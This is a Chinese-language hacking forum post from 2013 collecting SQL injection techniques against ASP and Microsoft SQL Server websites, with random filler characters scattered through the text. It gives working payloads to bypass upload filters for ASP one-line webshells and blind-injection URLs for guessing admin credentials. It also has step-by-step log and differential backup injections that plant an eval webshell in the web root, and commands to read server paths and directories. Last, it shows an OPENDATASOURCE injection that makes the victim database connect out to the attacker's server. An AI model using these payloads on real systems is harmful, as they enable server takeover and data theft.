中国网络渗透测试联盟

标题: SQL 注入经典操作整理与收集 [打印本页]

作者: admin    时间: 2013-2-27 21:49
标题: SQL 注入经典操作整理与收集

+ K' R2 d& i0 Z- Q/ O. v. T% u5 o+ `突破〈%%〉标记过滤
+ Z; Y; G+ @  U5 j很多时候我们可以通过在注册表单或者用户信息修改表单中,插入简短的ASP代码,使网站ASP数据库变成为一个ASP木马,然后进一步入侵控制服务器。不过在上传代码过程中,许多网页程序都不允许包含〈%%〉标记符号的内容的文件上传。
% `: V, B5 X- s这样就有好多SHELL不能上传上去了。可以采用下面的方法解决。以蓝屏最小ASP木马为例。
  c  ]7 ?* o/ N" @* W+ M, I- ~6 T原来的程序代码是“〈%execute request("l")%>", 我们可以把它的标签换下来,改成"<scriptlanguage=VBScript runat=server>execute request("l")</Script>".这样就避开了使用〈%%〉,保存为.ASP,程序照样执行。效果是一样的" D' R1 E0 Z( i  @
新or注入方法
% Y6 U: {' o+ D/ P2 F- B9 X% l' s
& R# T  G8 g( ~* R* b- [vpro.asp?id=1 or exists(select * from n0h4ck)3 E) v9 m- y$ K! e4 K6 k# ?
说明不存在n0h4ck这个表。' ?8 u2 N/ ?9 b( c; \4 M
vpro.asp?id=1 or exists(select admin from admin)( Y) G; ~+ c0 u$ ~" G3 k& w2 n
返回or 1=1的页面,说明admin表存在admin字段。) g! V+ w5 L7 l  e
vpro.asp?id=1 or exists(select padd from admin)
4 l/ q* n, z+ Y; N# n! Z) d返回or 1=2的页面,说明admin表不存在padd字段。# K9 A. L' `# W. N
我们现在开始猜测数据了,5 b7 F( I2 g: H
Copy code6 [  o$ k+ `, Q9 i$ {; i  a+ R
vpro.asp?id=1 or (select mid(admin,1,1) from admin)='n'
! T! I! ^5 ]  e. U' d返回or 1=2的页面,说明admin表admin字段的第一个数据的第一个字符不是"n"。  j" j3 \9 T( L1 N; R' o
opy code
3 q. F, e3 {" K7 P8 v( |vpro.asp?id=1 or (select mid(admin,1,1) from admin)='a'
0 F- V) @" q! q, D5 a5 U2 P返回or 1=1的页面,说明说明admin表admin字段的第一个数据的第一个字符是"a",我们第一个会想到什么呢?当然是"admin"啦。
* Z8 z2 R! X! e( T我们用left函数确定一下,( V8 n: W2 O& k3 f+ X* A1 `# t
Copy code2 }3 D* T, K. C3 s- I" E
vpro.asp?id=1 or (select left(admin,5) from admin)='admin'
# ^& h% J7 @; W+ p& R# z猜测正确,的确是admin,好了,后面的话就不用我说了吧!" K4 t0 `. ^/ `% l  \
一句话差异备份的牛X利用分析
0 ]+ O8 S8 ^& V
/ c# q8 z8 V, j<%eval(request("a")):response.end%> 备分专用一句话
) \9 B$ d9 b5 h9 x6 a! Z1 d加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.; ?- k/ a  M4 ~/ U/ G
1 s# t; f4 n7 N
日志备分WEBSHELL标准的七步:
& P& a# G/ s+ A/ ]' H& {) e) H) K7 i6 H: s. N* c% b& q
1.InjectionURL';alter database XXX set RECOVERY FULL-- (把SQL设置成日志完全恢复模式)
, i+ h3 g  n$ z, A: T/ G- d8 f. q) [" v6 `$ p+ K8 n* J( Z$ U0 K
2.InjectionURL';create table cmd (a image)-- (新建立一个cmd表)1 e" a0 X- I; i0 Z: Y- p
- G( E4 a! K- s
3.InjectionURL';backup log XXX to disk = 'c:\cmd' with init-- (减少备分数据的大小)
* g" A; L) F* J3 s4 V" ~' q% W! L0 G1 Q6 v4 d- w# a
4.InjectionURL';insert into cmd (a) values ('<%%25eval(request("a")):response.end%%25>')-- (插入一句话木马)
* H) J& @/ R0 I1 z; F
. \* Y6 F& u2 [$ d6 [$ V5.InjectionURL';backup log XXX to disk = 'd:\chinakm\test.asp'-- (备分日志到WEB路径)
/ P/ h5 L* I' X" E% ?, {% Z+ ^. V& r6 @1 {+ B4 G
6.InjectionURL';drop table cmd-- (删除新建的cmd表)
& u2 m8 Y4 _  D. {7 R0 K
$ l2 P$ y1 }' T3 e$ @7 d7.InjectionURL';alter database XXX set RECOVERY SIMPLE--(把SQL设置成日志简单恢复模式)
( x# x4 g! ~) m, \" F  `% \- X. D" @$ H# V# g  b0 d
注:InjectionURL是注入点,XXX是数据库名称.6 J2 e/ K7 m: u0 v

# x1 w" e; ~" t$ u4 f/ D附上DB_ONER权限HACK的其他技巧,希望对菜菜有所帮助,高手略过.
, e; y, Q3 [* _; Z7 ]$ H, P& e5 X
数据库差异备份代码:& D3 r7 d- W) a/ t, O5 A

- H& ]: C( L; ?0 t- l, E- p' \: D% G& f1、create table [dbo].[jm_tmp] ([cmd] [image])-- 创建一个表
$ a8 J- l, y: a5 {
) [6 u% g* e8 z. H2、 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0X6A006D00640063007700 backup database @a to disk = @s --备份数据库,@s为备份名称(jmdcw的16进制转换)
0 N! \3 f: e+ d! \+ F
; b2 \  E6 A+ `( m3、insert into [jm_tmp](cmd) values(0x3C2565786563757465287265717565737428226C222929253E)--将一句话木马 "<%execute(request("l"))%>"的16进制字符插入到表中/ l2 t- S/ `, O# b: D+ @8 _/ ]
/ y1 w* x. P  M! t$ {
4、declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s='C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\hsqq.asp' backup database @a to disk = @s WITH DIFFERENTIAL,FORMAT --对数据库实行差异备份,备份的保存路径暂定为C盘目录,文件名为hsqq.asp。6 n' O- \5 h9 Q2 N$ U6 c

' k8 k: d& ]% L+ Z5、drop table [jm_tmp]-- 删除此表。6 F8 @' I7 Q* ~" l2 g

) b6 C0 X- ?% o, @! x/ K网站物理路径读取代码:7 K) z+ Q/ ~3 J, v7 B
- e; e- ]4 H$ x$ P$ T
1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表4 X# C9 Z. @6 D) A' L( w
8 ^( O3 i3 t- ?
2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'-- 将网站目录插到表字段中* ]. r( a  {, _6 a

7 L7 Z0 e; Y9 Y# Q1 _6 w5 ]3、and (select top 1 cast([data] as nvarchar(4000)+char(124) from [jm_tmp] order by [data] desc)=0 '//暴出字段
8 \+ d3 h9 }0 m2 `; A( r/ E' g) u) r* P0 y7 o
4、drop table [jm_tmp]-- 删除此表。
" f. E7 Y& q$ r
# }0 Y. b2 H8 u3 k5 Z3 W* z磁盘目录读取代码:
* [! k1 E% V# @* w/ N9 D/ v3 G+ Q8 {7 }  U
1、drop table [jm_tmp];create table [jm_tmp](subdirectory nvarchar(400) NULL,depth tinyint NULL,[file] bit NULL)-- 创建表" {8 S9 c$ Y( J. F% \# v8 |

/ {- n3 p% L6 ~) H* ~9 J2、delete [jm_tmp];insert [jm_tmp] exec master..xp_dirtree 'C:\',1,1-- 将C盘的文件夹及文件插入到表中
" ~1 G& g4 |4 H' ]- |8 S5 C  ?' ?, |( c6 i) O; p- o
3、 and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top 1 [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) '//暴出第一个文件夹名称9 m/ e1 b% a$ i( L

( t$ P) ^: E8 R+ y2 T4、and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top 2 [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) '//暴出第二个文件夹名称  W* k$ m5 q, u5 [/ b

8 }. E3 a( Z3 X5、and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top X [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) '//暴出第X个文件夹或文件名称/ J0 v5 X' B; ^, R' R

7 |3 P+ h: m- X" J- [6、drop table [jm_tmp]--删除此表
" B" E" P1 `5 x0 q$ S& @
6 |9 S/ C+ M( e, s* U网站物理路径读取代码:
/ d6 Q" d; m: s  ~- `4 n
$ J- X4 n9 y) w  [1 V5 F1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表
& C$ I, E! F' W" j; C1 n4 v0 _3 B
2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'-- 将网站目录插到表字段中
, ~9 ^) k, h4 o7 `; I( H/ }3 ]$ B2 a
3、and (select top 1 cast([data] as nvarchar(4000)+char(124) from [jm_tmp] order by [data] desc)=0 '//暴出字段
% N. Z. M& }1 `8 @6 |
7 ~2 k" |( v# ]! m  ~8 W; c% G) n4、drop table [jm_tmp]-- 删除此表。, j+ n/ s; [& z

/ j4 W/ O( L* D: Z3 {$ w* n注射过程中DB_ONER权限并且主机与数据库不在一起的搞法5 [. L3 ~7 c! b- m% I
( [( z8 b4 L( v
其实.即使数据库和WEB不在一块还是有机会搞的.并不是说一点机会没.一般服务器装好系统什么的.都会装个IIS吧?列他C盘.看看有没有Inetpub 这个目录.就知道他有没有装IIS了.但是.不知道他IP也?怎么办呢?可以这样来,PING一下WEB服务器.扫他这一C段的1433端口.看看哪台开了.不过这方法也不好.现在很多主机都启用了防火墙.1433端口就算开了你也扫不着.这该怎么办呢?可以利用opendatasource宏让对方的 SQL与自己的数据库建立连接.既然能建立连接.就可以得到数据库服务器的IP地址了.我们来试试看.有几个前提得说一下.第一.你机器必须要有公网 IP.而且开放的1433端口要保证能被外网访问到.好.条件满足.就开始做吧!
; R  `6 S* w3 O
+ S$ ]: T: |  M3 k9 Z( o/ m8 n我现在搞的这站.100%数据和WEB不在一块.但是从C盘看到了Inetpub文件夹.说明这数据库服务器安装了IIS.但是得不到他IP呀.怎么搞哦.简单.就用上面所说的方法搞一下.先在本机建个库先.打开查询分析器输入
# J8 y4 X$ F. z5 C. w5 ~2 b5 screate database hack520 create TABLE zhu(name nvarchar(256) null);create TABLE J8(id int NULL,name nvarchar(256) null); 点执行.* M  y. t, o- n* B3 I8 L- U3 u8 J

, ~; _9 t. C3 F1 g5 ^+ a4 c建立了一个hack520的库名.和zhu J8两个表.zhu里面有name这一个字段.J8也放了两字段名.一个是id一个是name.好了.现在就可以开始建立连接了~~~~~~~先看一下这条SQL语句insert into opendatasource('sqloledb','server=你的IP;uid=SQL用户;pwd=SQL密码;database=建立的库名') .库名.表名 '执行的语句' 恩现在开始吧...
( H" g* I) n+ _0 w# V
4 a# R" j4 g4 w+ Z4 h# Z  Ohttp://www.xxx.com/news.as... ... asource('sqloledb','server=219.149.xx.182;uid=sa;pwd=hack520!@#77169;database=hack520').hack520.dbo.zhu%20select%20name%20from%20master.dbo.sysdatabases--: E7 H. f# q  k: \

* D1 F' h) z( H8 o在IE上执行咯.呵呵这个时候对方就会连接到我机器的SQL服务器.不信?netstat -an看一下( s* |7 J. }" [( Y

; ]6 b% }+ \5 n' P在CMD下输入命令:) ?3 A% V! p9 K5 o
netstat -an | find "1433"




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2